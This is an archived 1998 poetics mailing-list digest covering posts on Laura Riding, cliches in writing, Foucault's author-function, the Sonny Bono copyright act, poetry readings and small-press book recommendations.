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471. **Pierre Joris**
Re: "My" Laura Riding
Thu 15 Oct 1998

louis stroffolino wrote:

> *. Pierre Joris kept on confusing Riding with Mina*
> *Loy when I brought her up to him (and put one of her most*
> *uncharacteristic poems in the MILLENIUM anthology).*

hmm, chris, that wasn't so much confusion as my old frustrated desire to get one of my students to do a diss on riding & loy (& elsa von F-L). am in fact still looking for someone to write on that specific troika. and then you go & do billy shake... btw, over & over 100% besides myself make all the reperations & preparations worthwhile -- lovely works,

Pierre

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
All that is not gas is grammar
— Wittgenstein
==========

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472. **Pierre Joris**
[Fwd: FW: [RRE]copyright law]
Thu 15 Oct 1998

---

thot this re copyrights may be of interest to some on the list -- Pierre

> *-----Original Message-----*
> *From: [redacted] [mailto:[redacted]] On*
> *Behalf Of Phil Agre*
> *Sent: Monday, October 12, 1998 9:44 PM*
> *To: Red Rock Eater News Service*
> *Subject: [RRE]copyright law*
>
> *=-=-=-

Hi Phil,

An emergency alert.

The U.S. Congress on Wednesday, October 7, 1998,
passed the "Sonny Bono Copyright Extension Act."
As of 10/11 it was waiting for the signature of
the President, who has already said he will sign it.

I have taken my web site down and urged everyone
to email [redacted] *to veto the act,*
if they want a digital library on the Internet.

The important aspect of the Act is that it will
prevent from entering the public domain most works
first published after 1922. Thus those of us
volunteers such as in Project Gutenberg who scan
and post full texts of books will be denied access
to those works, and be unable to continue with
our work of presenting a free global public library.

The Act was passed without public debate, without
news coverage, under a suspension of the rules,
by voice votes, without even a quorum. You may
read all about it at http://thomas.loc.gov if you
search under S505.

In my opinion the significance of the Act is that
it transfers a huge amount of rights and monies
from the public to special private interests. If
there is anything such as American cultural
imperialism it only strengthens it by force of law.

One argument for the act is that it is required
in order to normalize free international trade that
countries have the same copyright terms. However,
the act will not implement that, since European
terms are after the death of the author, while
U.S. terms until recently were dated after first
publication. Secondly, there seems no reason why
European terms should not be shortened instead of
U.S. terms lengthened.

The Act will increase copyright terms by 20 years.
That means up to 95 years after first publication.
I can't think of a single author who lived that long.
Clearly, the act will benefit only distant heirs,
or, more likely, the large publishers who own most

of these copyrights. It would hardly encourage new authors--can you think of anyone who would refuse to publish a book because the term was only 70 years after her death, instead of 90?

By the way, the act was named after the late Representative Sonny Bono by request of his wife, who was appointed in his stead. Rep. Mary Bono stated that he and she wished copyright to last forever, but that would be in violation of the Constitution, she was told, so she would settle for forever minus one day. Although Sonny Bono is not particularly known for a great amount of intellectual property, evidently his widow wishes to be enriched even in the distant future by royalties from any of his songs or works.

Nobody spoke up for the public and the consumer. No one reminded the legislators that the American people have a Constitutional right to all works protected by copyright. Copyright is and ought always to be a sacred contract between an author and the public. When the fixed, limited term expires, the rights revert to the public. Only this way can the public use the ideas for the free public discussion necessary for an informed democratic republic such as ours.

I see this act as part of a larger movement aimed squarely at the book as we know it and the Internet as we have constructed it.

In the future, the e-book will be a software product that will be protected not by copyright, but by a shrinkwrap license and by hardware locks. The "reader" will not be able to own the book, but will only be licensed to consume it as "pay-per-view". Scholars will find that books that are not commercially successful will just evaporate--libraries will not be able to function in the way they have been accustomed to.

To facilitate production of this type of book, NIST (U.S. National Institute for Standards and Technology) sponsored an "e-book" conference this week in Maryland. At the conference the large publisher Microsoft announced a proprietary

format for e-books, a combination of HTML and XML islands that will withstand copying.

The World Wide Web will be turned into something like "pay-per-view" television. Books will not be available for free nor will purchased books be able to be copied or resold. Consumers will be allowed to consume products if they pay for them, but non-profit producers or home self-publishers will be crowded out of the e-markets.

We are being presented with some clear alternatives. If we are going to do anything to use the Internet to promote democracy and human rights and literacy and intelligent discussion, then we need to fight actively all attempts such as the bone-headed Bono Act that restrict the power of the web. Our government must not be allowed to listen only to lobbyists for large publishers, and use its power of criminal enforcement only in their behalf. If the government wishes to aid the Internet, let it keep its hands off.

Those of us who wish to promote a free global public library must redouble our efforts. We will need to beg rich people to buy up the rights to copyrighted works and donate them for free posting to the web. We will need to financially support a competitive free space on the web that makes works available. We will need to encourage all means for small producers to publish from their own web sites.

Please note that I am not opposed to a reasonable copyright term. However, 95 years seems ridiculous. And I am not opposed to selling books over the net. Indeed, Internet technology can only facilitate that, and aid protection by copyright alone--there is no need for additional criminalization nor locks. And I am not opposed to businesses making money. I am opposed, however, to businesses crying for special protection at the expense of the public. Finally, it is quite true that many American workers are employed in businesses that produce copyrighted works. However, it remains to be explained why if they are so successful they need this added protection. In fact, the protection seems to be granted only so as to enable U.S. firms owning

> *these copyrights to dominate companies in other countries. Thus the end effect is to encourage an American cultural imperialism of a capitalist consumer society, at the expense of the public places in a democratic global society.*
>
> *I hope you will aid me in publicizing these remarks.*
>
> --
> *"Eric" Eric Eldred Eldritch Press*
> *mailto:[redacted] http://eldred.ne.mediaone.net/*

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
All that is not gas is grammar
— Wittgenstein
==========

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473. Charles Alexander
Tony Lopez reading in Maryland
Thu 15 Oct 1998

Announcing a reading -- HIGHLY RECOMMENDED:

TONY LOPEZ

reading October 19, Monday, at 2pm

Montgomery College
Rockville Campus
Science West, Room 122
Manakee Street (not sure I am spelling the street right)
Rockville, Maryland

Tony Lopez was born in 1950 and grew up in Brixton, South London. He began working as a freelance on short stories for newspapers and magazines in the 1970s and published five crime and science fiction novels with New English Library between 1973 and 1976, when he gave up fiction writing and returned to

school. He attended the University of Essex (BA 1980) and Gonville & Caius College, University of Cambridge (PhD 1986). During the 1980s he was involved in various performance art events, staged in Britain and Europe. He has published many books and pamphlets of poetry, including Snapshots (1976), Change (1977), The English Disease (1979), A Handful of British Birds (1982), Abstract & Delicious (1983), A Theory of Surplus Labour (1990), Stress Management (1994), and most recently Negative Equity and Other Poems (1995). A selection of his poetry is included in the Picador anthology Conductors of Chaos (1996) edited by Iain Sinclair. He teaches in England at the University of Plymouth.

from the poem "Non-Core Assets"

They took a shadow and laid it in the straw.
Let it be rough and ready to make a reality
Deft, restless and unpredictable. Thus they rode
Through Norwich in every sort of fantastic dress.
Reason explained that good living was now over,
Time itself at hand. Lights, lanterns and fires
Burning in the woods. Damp air, shell-suit trousers,
Light blue sweatshirt, green padded jacket: the subject
Of this attack unknown. If you have no wire,
Roll newspapers into spirals, tie the ends together
In white cloth and herring skins. Thence souls in torment
Who do enter into these family customs
In schools, clubs, or any organisation.
Among the straw cut-out is something of the truth.

They are like straight unwinding roads that lead
Into eternity. When we launch a car
We like to drop it. Root nourishing shampoo:
Dolphins ascending a water staircase.
Big coat and grip, gondola wedding,
Big coat and away through Lombardy poplars.
I find we have plenty of opportunities
For listening to speech, yet few people take them:
We need practical ways of securing resonance.
Urizen is at home on the world wide web
Sending pulses of self-indulgent grief echo
To measure your file space without hiring new staff.
A stretched limo floats over a crimson sunset
I never knew he missed driving so much.

charles alexander :: poet and book artist :: [redacted] chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com

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474. **MAYHEW**
Re: theoretical/practical thoughts -- origin of the cliche
Thu 15 Oct 1998

Some "random thoughts" on a "thought-provoking" post:

I only write in cliches, but you mean the unconscious ones used by amateur writers. Moving up the scale, there are commonplaces used in particular schools of writing. I'm thinking of "deep image" poetry for example: a particular vocabulary seen to be intrinsically poetic, or lyrical: deep, dark,same,sound, sky, empty, stone, whole, always, desire, silence, memory, dead, dawn. Merwin or Gluck (Louise) would know better than to use stock phrases of the sort you cited in your post, but their language is often trite all the same.

Maybe instead of teaching beginning writers to avoid cliches, writing workshops could teach them to write only* in cliches, that way writers would at least know that that* is what they are doing. Then if they wanted to avoid certain commonplaces they could do it more easily. This could be done even at a fairly sophisticated level. There are the cliches of Langpo, vizpo, etc...

Michael Riffaterre's Semiotics of Poetry contends that poems are written through the transformation of cultural commonplaces.

If we said "good writers avoid cliches" wouldn't that be the first entry in a Dictionary of Received Ideas? Or, as Oscar Wilde might have said, "only unoriginal writers worry about avoiding cliches."

Jonathan

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475. **Michael Magee**
Lee Ann Brown
Thu 15 Oct 1998

Anyone know if Lee Ann Brown's email address has changed? Lee Ann, you out there? I have a question. -m.

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476. **Joe Amato/Kass Fleisher**
in the mood...
Thu 15 Oct 1998

yknow typically i read poetics b/c i want insight into, not the critical apparatus per se, but the more generative side of the author-text-reader-context continuum...

but reading the various remarks on riding-jackson---which i've really enjoyed---and several other threads, i feel compelled for some reason to do the continental... to wit (and the following excerpt begins with more than a touch of irony):

"... how can one reduce the great peril, the great danger with which fiction [read poetry too, e.g.] threatens our world? the answer is: one can reduce it with the author. the author allows a limitation of the cancerous and dangerous proliferation of significations within a world where one is thrifty not only with one's resources and riches, but also with one's discourses and their significations. the author is the principle of thrift in the proliferation of meaning. as a result, we must entirely reverse the traditional idea of the author.... the author is not an indefinite source of significations which fill a work; the author does not precede the works, he is a certain functional principle by which, in our culture, one limits, excludes, and chooses; in short, by which one impedes the free circulation, the free manipulation, the free composition, decomposition, and recomposition of fiction ... the author is therefore the ideological figure by which one marks the manner in which we fear the proliferation of meaning. in saying this i seem to call for a form of culture in which fiction would not be limited by the figure of the author. it would be pure romanticism, however, to imagine a culture in which the fictive would operate in an absolutely free state, in which fiction would be put at the disposal of everyone and would develop without passing through something like a necessary or constraining figure."

these words will no doubt be familiar to many of you---from foucault's little, (academically) influential 1969 essay, "what is an author?"... i offer them here not as a corrective to anyone's thinking on the matter---and certainly not to privilege one way of thinking over another (and certainly not to condescend to anyone)---but simply with the aim of suggesting that the discussion of riding-jackson's work in particular would seem to benefit from an exploration of her status as "author," with quotes intact---i.e., the way the author-function (foucault's term, in translation) works in her case... you can go the zizek route too---any number of critical routes, in fact... but it strikes me that a diverse array of works (an oeuvre, if you like), in prose and poetry, works that present us with contradictory intertextual appeals, might benefit from scrutiny as to the way the or an "author" emerges in our attempts to "get at" same... it's probably too easy, too, to simply attribute such works to multiple authors (and this in itself,

and as foucault suggests, would likely become, however multiple, a "constraining figure")...

a matter of emphasis?---perhaps... no, i don't know quite how to proceed with regard to riding-jackson in particular, but i can almost get a glimpse of how one might...

best,

joe

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477. **Don Cheney**
Re: Berenstein & the Avant-Bored Bears
Thu 15 Oct 1998

---

george,

i have a 12 year old son who was younger around the FULL HOUSE heyday.

i have a 4 year old dog who will actually pull the tv's plug out of the socket when MTV's Road Rules is on.

i have a 5 year old tortoise who has never seen television in his life.

and our 8 year old parakeet died last week without ever having seen the television right below her.

but rest assured when we leave the dogs alone in the house for short periods of time we put on national public radio.

don cheney

> *if john cage said that then john cage has not seen the tv show "full house"*
>
> *What I want to know is: why would anyone here have seen it?*

↑ Index

478. **Mark Weiss**
Re: space between words
Thu 15 Oct 1998

---

interlithic space

At 12:37 AM 10/15/98 -0700, you wrote:
>The space between people is called just that.
>The space between buildings? You got it!
>What about the space between rocks? That's inter-rock space.
>

>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>
>

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479. **Pierre Joris**
soyinka's return
Thu 15 Oct 1998

---

this, from today's NYT, is a rare piece of good news -- Pierre

LAGOS, Nigeria -- Wole Soyinka, Nigeria's exiled Nobel literature
laureate, returned home Wednesday, nearly four years after
fleeing the military dictatorship he vigorously opposed.

As Nigeria's most prominent exile, the playwright's return is an
important expression of confidence in the promise by the country's
military ruler, Gen. Abdulsalami Abubakar, to restore democracy in the
West African country.

Hundreds of well-wishers sang freedom songs in Soyinka's native
Yoruba language at the international airport in Lagos. They surged
toward him as he emerged from a flight from Germany just after 7.30
P.M.

Soyinka drove straight to the home of Moshood K. O. Abiola, the

presumed winner of 1993 elections who died in detention in July after being locked up for claiming his mandate on the basis of the vote that was annulled by the army.

"What I looked forward to so much was the day I would hug Abiola, but that never happened," Soyinka said. "Let us not talk about that now. Let us concentrate on the inspiration that Abiola and his family have been to us."

Soyinka, the winner of the 1986 Nobel Prize for Literature, left Nigeria secretly in 1994 after Gen. Sani Abacha, the late dictator, banned him from traveling. He had led street protests against military rule and for the recognition of Abiola as President, and his outspoken criticism of the junta from inside Nigeria and later from abroad has made him an important opposition symbol to many Nigerians.

From exile, he called on Western countries to impose sanctions to force General Abacha to step down and warned that armed struggle might be needed to end military rule. In 1997 he was charged in absentia for treason over a bombing campaign.

Most of his time was spent in the United States where he taught at Emory University in Atlanta.

Nigeria, Africa's most populous nation with more than 104 million people, has undergone a swift reopening since General Abacha's sudden death in June. General Abubakar says he will step down next May. He has freed dozens of political prisoners and last

month called on
all exiles to return home to take part in the new democracy plan after
dropping charges against them. Several have returned in response to
the call.

General Abubakar is from the north, as were General Abacha and most
of Nigeria's rulers since independence from Britain in 1960.

Soyinka and General Abubakar met in New York last month and the
general asked Soyinka to come home.

"He is not the type who will return and fold his arms," said Tunji
Adebiyi, a political activist. "Even if he wanted to, his supporters from
across the country will not allow him to, as they will be looking up to
him for direction."

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
All that is not gas is grammar
— Wittgenstein
==========

↑ Index

480. **schuchat**
the eternal return
Thu 15 Oct 1998

Although outside the ordinary purview of our list, this is some news which may never reach you otherwise.

> *BREZHNEV NAME TO RETURN TO POLITICAL SPOTLIGHT? Andrei Brezhnev, the grandson of former Soviet leader Leonid Brezhnev, has announced his intention to recreate the stable times of his grandfather when there was "a middle class that received 200 rubles a month and had their own apartments and cars." Brezhnev, 37, told reporters on 14 October that his party, the All Russian Communist Movement, advocates the resurrection of "pure communism," drawing on the experience of former Soviet leaders Josef Stalin, Nikita Khrushchev, and Brezhnev. The party claims to have 5,000 members in 47 regions in Russia and plans to participate in parliamentary and presidential elections, "Komsomolskaya Pravda" reported on 15 October. According to the "Moscow Times," the grandson of Khrushchev received an offer to launch a new political party but declined to do so.*

↑ Index

481. **daniel bouchard**
WCW in Internet Age
Thu 15 Oct 1998

---

got this on a mis-type:

>>>

482. **Edward Fristrom**

Re: theoretical/practical thoughts -- origin of the cliche

Thu 15 Oct 1998

MAYHEW wrote:

> *If we said "good writers avoid cliches" wouldn't that be the first entry*
> *in a Dictionary of Received Ideas? Or, as Oscar Wilde might have said,*
>
> *"only unoriginal writers worry about avoiding cliches."*
>
> *Jonathan*

My thoughts exactly. Oh. . .damn. . . I'm doing it too, receiving ideas from Wilde. I suppose in the end it's not the size or source of your reception, but what you do with it that matters. I think that's also what McGrand is getting at, that in spite of how various theoretical positions might complicate how we think about "cliches," what do you do practically, if you are in a classroom and confronted by students who write, what to you, looks unbearably derivative, pre-rehearsed, stilted, or just plain dull? And I think McGrand's insights are helpful (thought familiar), at least in that they get us to think about "cliche" as something other than a particular category of scribbles on the page. For me it has as much to do with reception and context as anything else. "I wanted to put a bug in your ear" is a cliche of conversation, of course, but when it shows up on an old episode of Night Gallery, it's not the same thing at all.

These questions, however, still keep me awake at night:

1) Rather than focusing our aim on increasing awareness of cliches, or placing prohibitions on cliches, shouldn't we be putting our time into encouraging whatever the opposite of cliche is?

That is to say. . . if I get a piece of writing that seems so limited in its use of language that every expression is a dead metaphor or a hackneyed expression--the last thing I want to limit that writing further. Or. . .if student writer writes in cliches because some editor-within is telling them to (You must sound like an author to have authority", aren't we giving them another homuncular-editor-within that, rather than wrestling away the first voice, is simply including another voice,(Look, another example of your lack of [author]ity and [able]ity")

2) Is there something developmental at stake here? Do most poets struggle through a period of cliched writing that later embarasses the hell out of them? If so. . .is our role to pre-empt these embarrassments? Or is getting a

beginning poet to write with only "original" language similar to getting a basic writer to try and write only in long, complicated sentences?

(Note: this is neither a rhetorical question, nor a question which I am stating because I think the answer is "yes." I'm asking if anyone has ever actually done developmental research on student poets, or poets in general? Where would I look?)

--Ted

↑ Index

483. **dbkk**
Ethics in Writing
Thu 15 Oct 1998

Hi, this is Dodie. I'm going to be teaching Ethics inWriting to undergraduate English majors. I want to cover all the things that get tail feathers ruffled on this list: racism, essentialism, privacy issues, ownership, censorship, Ezra Pound or someone similarly problematic and those issues, exclusion, the problematic use of the word "we"--also need to talk a bit about legal issues.

My question is, does anyone have any advice--important essays, books, etc. that would be accessible/interesting to undergraduates?

A friend of mine did a search of Aristotle and Ethics on the classics web and sent me her findings. It was brain-death for me, but a starting point. Particularly interesting was the stuff about slaves having no rights . . .

Thanks for any input.

↑ Index

484. **dbkk**
Lopez, Selby at SPT
Thu 15 Oct 1998

Small Press Traffic presents

Tony Lopez
Spencer Selby

Friday, October 16, 7:30 p.m.
New College Theater
777 Valencia Street
$5

With False Memory and Negative Equity Tony Lopez's career, hitherto glimpsed in bits and pieces, comes into focus like a shift in the kaleidoscope or my

binoculars. His writing makes a person nervous, painfully conscious of the falsities that simplify and abbreviate our lives. But he is a kind master, and provides plenty of pleasure along with the pain. Come on down and show Mr. Lopez a real good time at his first reading in San Francisco. Tony Lopez, born in 1950, has written Snapshots (1976), Abstract & Delicious (1982), A Theory of Surplus Labour (1990), Stress Management (1994) and Negative Equity (1995). His first US book was False Memory published by The Figures in 1996. Recent work appears in many international magazines and in the anthologies Conductors of Chaos, (edited by Iain Sinclair, Picador, 1996) and The Poets Calendar for the Millennium (Sun & Moon, 1997). He teaches in England at the University of Plymouth.

Spencer Selby lives in San Francisco. He's the author of five books of poetry, and two more forthcoming (The Big R, Angle Press, and Task, from Zasterle Press), and two of visual poetry, Stigma (Score, 1990, and Malleable Cast (Generator, 1995). He has moved through the experimental formalism of the 80s ("This is the voice of description speaking") into a new and more highly evolved and humanistic version of the "Spencerian stanza," which he invented way back when in his more acerbic, abrasive days. Selby's recent work gives off a palpable warmth and directness that's refreshingly new. This isn't your father's Spencer Selby.

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485. MAXINE CHERNOFF
Barbara Guest Reading
Thu 15 Oct 1998

A reminder that Barbara Guest is reading at 8pm Thursday, Oct 22, at the Residency Hall Auditorium @ Columbia College, Chicago.

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486. Eliza McGrand
Re: Ethics in Writing
Thu 15 Oct 1998

dodie

in light of the mike barnicle/patricia smith imbroglio, what about touching on plagiarism as well -- for example, what differentiates collaged "found" writing from plagiarism, how should/must you attribute (i.e. "found" words overheard in confidential meeting, can they be used if no attribution? but if no attribution, is that in sense plagiarism?).

and of course, my topic for today -- the... CLICHE... as plagiarism.

e

↑ Index

487. Anthony Lawrence
Re: try these experiments
Thu 15 Oct 1998

> *Do you also do six impossible things before breakfast?*

CHARLES BUKOWSKI

Here he is at the window
notice the beautiful hands
the face an open-cut mine
Is he the only poet
to beat up his lover
do the shopping
think twice about dying
masturbate
abuse his neighbours
smoke a pack of cigars
drink a pint of bourbon
place a bet on the afternoon race
fart like a drafthorse
write nine poems
turn up the stereo
answer fan mail
get into a streetfight
and read For Whom the Bell Tolls
before breakfast?
And when the cops come
(some complaint regarding
Beethoven & breaking glass)
he'll stand on the bed
take a hit of beer &
"Cunstanoon afterbles"

best

Anthony

****

Anthony Lawrence
Po Box 75

Sandy Bay
Tasmania 7006

↑ Index

488. Anthony Lawrence

Bukowski

Thu 15 Oct 1998

> *Do you also do six impossible things before breakfast?*

CHARLES BUKOWSKI

Here he is at the window
notice the beautiful hands
the face an open-cut mine
Is he the only poet
to beat up his lover
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and read For Whom the Bell Tolls
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And when the cops come
(some complaint regarding
Beethoven & breaking glass)
he'll stand on the bed
take a hit of beer &
"Cunstanoon afterbles"

best

Anthony

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489. **michael corbin**
Re: Ethics in Writing
Thu 15 Oct 1998

[redacted] wrote:

> *My question is, does anyone have any advice--important essays, books, etc. that would be accessible/interesting to undergraduates?*

a couple possibilities from some recent reading: _Entre Nous_ a new collection of Levinas, phenomenology of intersubjective ethics. _Excitable Speech_, Butler, "hate-speech", iterability and representing the ethical.

mc

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490. **P.Standard Schaefer**
Good Reads
Thu 15 Oct 1998

Hello listees.

Sitting here under stacks of publications that people have sent me of late, probably assuming that I'd get them reviewed in Rhizome, was struck by the fact that I simply can't run reivews of every chapbook or perfect bound book that comes my way. I'd like to call attention to a couple of things that I've received that are particularly exciting and won't be reviewed in Rhizome, probably not anywhere.

Elizabeth Treadwell's The Erratix and Other Stories is a crazy ride through something faintly narrative, but packed with wild detours and short poems, lots of fairytale madness. (Published by Texture Press. PO Box720157 Norman Oklahoma).

Another stack that I have is from Guy Bennett's SEEING EYE. He's done chaps of Clark Coolidge (THE BOOK OF STIRS), Lynn Heijian, Mohammed Dibb (simply stunning translations from Paul Vangelisti), and most recently Bob Crosson.

The Book of Stirs is one long poem sustained by lots of swing, by far the best of the Coolidge stuff to appear in print lately.

Bob Crosson will be in the next issue of MrKnife, MissFork and has been in Rhizome and Ribot most recently but he remains the best kept secret in L.A. although he's been publishing alongside all the Temblor crowd for all this time. This chapbook In Aethers of the Amazon is truly deranged.

Crosson comes out of the Stein/Spicer and takes a lot of chances, a lot unusual gambits with diction/syntax, but always swings back with lovely and quotable lines like "To Rabbits it is all rabbits. It is not frogs."

The real strength of the SEEING EYE series is Guy Bennett's typography. He knows the difference between desktop publishing and book designing.

Other remarkably well-produced books in the series include Catriona Strang and very shortly Eleani Sikleanos.

SEEING EYE is located at 12011 Rochester Ave. #9 LA, CA 90025 I don't have Guy's e-mail address but if anyone does, they should post it as I know Guy will take orders that way. (Also, visit the LA Books Web site)

Other recent releases of note include the Poetry NY Pamphlet series. Laura Moriarty's Spicer's City is not at all a sentimental homage. Possibly it is my favorite of that series although the Enslin is also very nice.

Avec Books has just released Ogling Anchor from Chris Reiner. He really knows his way around the prose peom. Gave a lovely reading here the other day. There's a romantic often surreal feel to these pieces.

Also Susan Smith's Nash Dooms Day Belly which is from Trip Street Press and says it is available through S.P.D.

AVEC Sampler #2 has outstanding work from George Albon (as to be expected) as well as a long exciting series from Joe Ross, translations of Alferi, a really strong piece from Andrew Joron (that addresses some issues of translation, obliquely) and work by Camille Guthrie who is relatively new to me, but her work is consistently haunting and lyrical.

Just want to call attention to this stuff in case people haven't seen it. Like I said, I wish I could get each of these reviewed in detail for Rhizome but this current issue is filled.

Please buy that Robert (Bob) Crosson book from SEEING EYE. It is some of the most stirring prose/poetry to be found anywhere.

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491. Louis Cabri
My aurora is idling
Thu 15 Oct 1998

I am peculiarly ready to say that "I am" seems to sign off a lot on Riding and that Joe Amato might be for the dust off Foucault alert to a cramping or lidding effect that has contained various authors including it seems Riding to author status as if agency was enthralled to its nostalgia. And also I too I too was desperate to attend the Riding event but now having read the posts about it I am

not at all sorry I missed it not at all. I have not I that is I have not been taken by anything that has been said so far about the event or about Riding on the No Ads All Hits UBPoetics mesmer. And I am I am I the first to taste the pleasures of pointing to this or to that as the best or the worst of her pleats. May I continue and say continue in May or not it stands to feasible doubt that there is less to say about Riding and more to say about Riding as a dissipated author function as, instead, function as a limit she found a limit she found she thought the limit but she certainly found a limit not Stein's limit either. She founds limits she detected them she incised them on the social space she found and only partly inhabitable. How can you take away that limit finder to bind her to her.

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492. Laura E. Wright
Re: Original Good Reads
Thu 15 Oct 1998

> *This chapbook In Aethers of the Amazon is truly deranged.*

I've been trying all day to come up with a real opposite of cliche (one issued raised by Ted Fristrom) and I think "truly deranged" is a pretty good one.

Good derangement cannot be taught, though some learn it on their own, whether their early cliches are harshly criticized or not.

The D=E=R=A=N=G=E=M=E=N=T school poets have usually never met each other, in fact,
some of them have never met anyone at all.
--
Laura Wright, Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *
"Then there was a situation with tufts (and flowers). This did not agree
with me either, and time just kept on passing."
(Henri Michaux)

↑ Index

493. **Wystan Curnow**

Re: in the mood...

Thu 15 Oct 1998

Joe Amato wrote apropos Laura Riding Jackson discussion:
>
>
> these words will no doubt be familiar to many of you---from foucault's
> little, (academically) influential 1969 essay, "what is an author?"... i
> offer them here not as a corrective to anyone's thinking on the
> matter---and certainly not to privilege one way of thinking over another
> (and certainly not to condescend to anyone)---but simply with the aim of
> suggesting that the discussion of riding-jackson's work in particular would
> seem to benefit from an exploration of her status as "author," with quotes
> intact---i.e., the way the author-function (foucault's term, in
> translation) works in her case... you can go the zizek route too---any
> number of critical routes, in fact... but it strikes me that a diverse
> array of works (an oeuvre, if you like), in prose and poetry, works that
> present us with contradictory intertextual appeals, might benefit from
> scrutiny as to the way the or an "author" emerges in our attempts to "get
> at" same... it's probably too easy, too, to simply attribute such works to
> multiple authors (and this in itself, and as foucault suggests, would
> likely become, however multiple, a "constraining figure")...
>
> a matter of emphasis?---perhaps... no, i don't know quite how to proceed
> with regard to riding-jackson in particular, but i can almost get a glimpse
> of how one might...

One way to proceed is to figure out her authorship of other people's work. Some years ago I edited the selected critical essays of Len Lye, a friend of Laura and Robert in the London and Majorca years. One essay, 'Film-making' which first appeared in Epilogue I in 1935, is co-authored with Laura Riding. In style and in much of its substance it is her work, and a remarkable piece. She also gave Lye a certain permission (and no doubt some advice) on to produce prose poems, and her Seizin Press published a selection of them. I am aware that during the years in Majorca there were a number of writers in residence writing under pretty close supervision, whose published works from the time do n ot also carry her name. I wonder how much is known of her covert authorship?

Wystan

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494. **Karen Kelley**
Re: "My" Laura Riding
Thu 15 Oct 1998

That Mina Loy piece (I assume you mean Three Moments in Paris) is my *favorite* in Millennium. Seems to live in a space similar to Duras' *Moderato Cantabile* & Elizabeth Bowen's *To the North*.

Pierre Joris wrote:

> *louis stroffolino wrote:*
>
> *. Pierre Joris kept on confusing Riding with Mina*
> *Loy when I brought her up to him (and put one of her most*
> *uncharacteristic poems in the MILLENIUM anthology).*
>
> *hmm, chris, that wasn't so much confusion as my old frustrated desire to get*
> *one of my students to do a diss on riding & loy (& elsa von F-L). am in fact*
> *still looking for someone to write on that specific troika. and then you go &*
> *do billy shake... btw, over & over 100% besides myself make all the*
> *reperations & preparations worthwhile -- lovely works,*
>
> *Pierre*
>
> *--*
> *==========*
> *Pierre Joris*
> [redacted]
> *http://www.albany.edu/~joris/*
> *6 Madison Place*
> *Albany NY 12202*
> *tel:* [redacted]
> *fax:* [redacted]
> *==========*
> *All that is not gas is grammar*
> *— Wittgenstein*
> *==========*

↑ Index

495. **Karen Kelley**
Re: "My" Laura Riding
Thu 15 Oct 1998

Oops, well I see the idiocy of responding before reading the whole post, but hey, a plug for Mina Loy!

Karen Kelley wrote:

> *That Mina Loy piece (I assume you mean Three Moments in Paris) is my *favorite* in Millennium. Seems to live in a space similar to Duras' *Moderato Cantabile* & Elizabeth Bowen's *To the North*.*
>
> *Pierre Joris wrote:*
>
> *louis stroffolino wrote:*
>
> *. Pierre Joris kept on confusing Riding with Mina*
> *Loy when I brought her up to him (and put one of her most uncharacteristic poems in the MILLENIUM anthology).*
>
> *hmm, chris, that wasn't so much confusion as my old frustrated desire to get one of my students to do a diss on riding & loy (& elsa von F-L). am in fact still looking for someone to write on that specific troika. and then you go & do billy shake... btw, over & over 100% besides myself make all the reperations & preparations worthwhile -- lovely works,*
>
> *Pierre*
>
> *--*
> *==========*
> *Pierre Joris*
> *[redacted]*
> *http://www.albany.edu/~joris/*
> *6 Madison Place*
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> *tel: [redacted]*
> *fax: [redacted]*
> *==========*
> *All that is not gas is grammar*
> *— Wittgenstein*
> *==========*

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496. **louis stroffolino**
troika.....
Thu 15 Oct 1998

Pierre--thanks for the kind comments on my poems---
chris

On Thu, 15 Oct 1998, Pierre Joris wrote:

> *louis stroffolino wrote:*
>
> *. Pierre Joris kept on confusing Riding with Mina*
> *Loy when I brought her up to him (and put one of her most*

> *uncharacteristic poems in the MILLENIUM anthology).*
>
> *hmm, chris, that wasn't so much confusion as my old frustrated desire to get one of my students to do a diss on riding & loy (& elsa von F-L). am in fact still looking for someone to write on that specific troika. and then you go & do billy shake... btw, over & over 100% besides myself make all the reperations & preparations worthwhile -- lovely works,*
>
> *Pierre*
>
> *--*
> *==========*
> *Pierre Joris*
> *[redacted]*
> *http://www.albany.edu/~joris/*
> *6 Madison Place*
> *Albany NY 12202*
> *tel: [redacted]*
> *fax: [redacted]*
> *==========*
> *All that is not gas is grammar*
> *— Wittgenstein*
> *==========*

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497. **louis stroffolino**

Re: Laura Riding

Thu 15 Oct 1998

On Tue, 13 Oct 1998, Marjorie Perloff wrote:

> *In response to Chris: quite true, I did write a pretty negative piece on LR for PARNASSUS; the response on the List shows me that this is not a mag people on this list read, which may be just as well given the Ross Feld piece and some other nasties in this issue. I took the opportunity because Herb Leibowitz, the editor, asked me to think about Riding and I never really had. I spent a lot of time on the work and must say I am totally mystified as to what anyone sees in her. I hate feeling that way, given that some of my very favorite poets and critics--including Charles Bernstein, Jerry McGann, and Susan Schultz admire LR but they haven't (at least in print) made me see it. I can't stand her abstract stilted language; more important: I have a really hard time with her ideas and her poetics! I can see that she is a phenomenon, but....*
>
> *So to me the whole idea of a Riding conference sounds bizarre--but it may be my blindness. Charles B makes a valiant case for her in the Intro to her RATIONAL MEANING.*

> *xxx*
> *Marjorie*

↑ Index

498. **Matt Kirschenbaum**
Blake Archive's October Update
Thu 15 Oct 1998

The latest news of work completed here at the Blake Archive. Apologies for cross-posting. Please forward as appropriate. Matt

--

16 October 1998

The editors of the William Blake Archive <http://www.iath.virginia.edu/blake> are pleased to announce the publication of four new electronic editions of Blake's illuminated books. They are:

The Ghost of Abel copy A (The Library of Congress)

On Homers Poetry [and] On Virgil copies B (The Fitzwilliam Museum) and F (The Pierpont Morgan Library)

Laocoon copy B (collection of Robert N. Essick)

